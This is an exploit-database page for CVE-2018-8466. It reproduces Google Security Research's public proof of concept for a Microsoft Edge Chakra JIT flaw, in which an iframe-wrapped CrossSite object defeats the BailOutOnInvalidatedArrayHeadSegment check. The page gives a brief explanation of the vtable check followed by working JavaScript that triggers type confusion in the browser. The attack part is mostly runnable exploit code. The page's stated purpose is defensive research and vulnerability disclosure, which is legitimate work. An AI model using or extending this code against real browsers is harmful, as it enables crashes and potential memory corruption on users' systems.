Materialized exploit
CVE-2018-8466
HIGH1 public exploit(s) for this CVE, 1 materialized with their code.
For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
ExploitDB
dos windows Verified
Source
Microsoft Edge Chakra JIT - 'BailOutOnInvalidatedArrayHeadSegment' Check Bypass
By Google Security Research
How to test this exploit
Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.
Code js
/*
The BailOutOnInvalidatedArrayHeadSegment check uses the JavascriptArray::GetArrayForArrayOrObjectWithArray method to check whether the given object is an array. If it's not an array, it will decide to skip the check which means that no bailout will happen. The JavascriptArray::GetArrayForArrayOrObjectWithArray method determines it by comparing the vtable of the given object like the following.
if(vtable == VirtualTableInfo<JavascriptArray>::Address)
{
*arrayTypeIdRef = TypeIds_Array;
}
else if(vtable == VirtualTableInfo<JavascriptNativeIntArray>::Address)
{
*arrayTypeIdRef = TypeIds_NativeIntArray;
}
else if(vtable == VirtualTableInfo<JavascriptNativeFloatArray>::Address)
{
*arrayTypeIdRef = TypeIds_NativeFloatArray;
}
else
{
return nullptr;
}
if(!array)
{
array = FromVar(var);
}
return array;
Since wrapping an object with the CrossSite class replaces the vtable of the object, this can be used to bypass it.
PoC:
*/
function opt(x_obj, arr) {
arr[0] = 1.1;
x_obj.a = arr; // Replacing the vtable.
arr['leng' + 'th'] = 0; // The length changes, but the BailOutOnInvalidatedArrayHeadSegment check will think that it's not an array. So no bailout will happen.
arr[0] = 2.3023e-320;
}
let x_obj = document.body.appendChild(document.createElement('iframe')).contentWindow.eval('({})');
let arr = [1.1, 1.1];
for (let i = 0; i < 10000; i++) {
opt(x_obj, arr.concat());
}
opt(x_obj, arr);
arr[1] = {}; // in-place type conversion
alert(arr);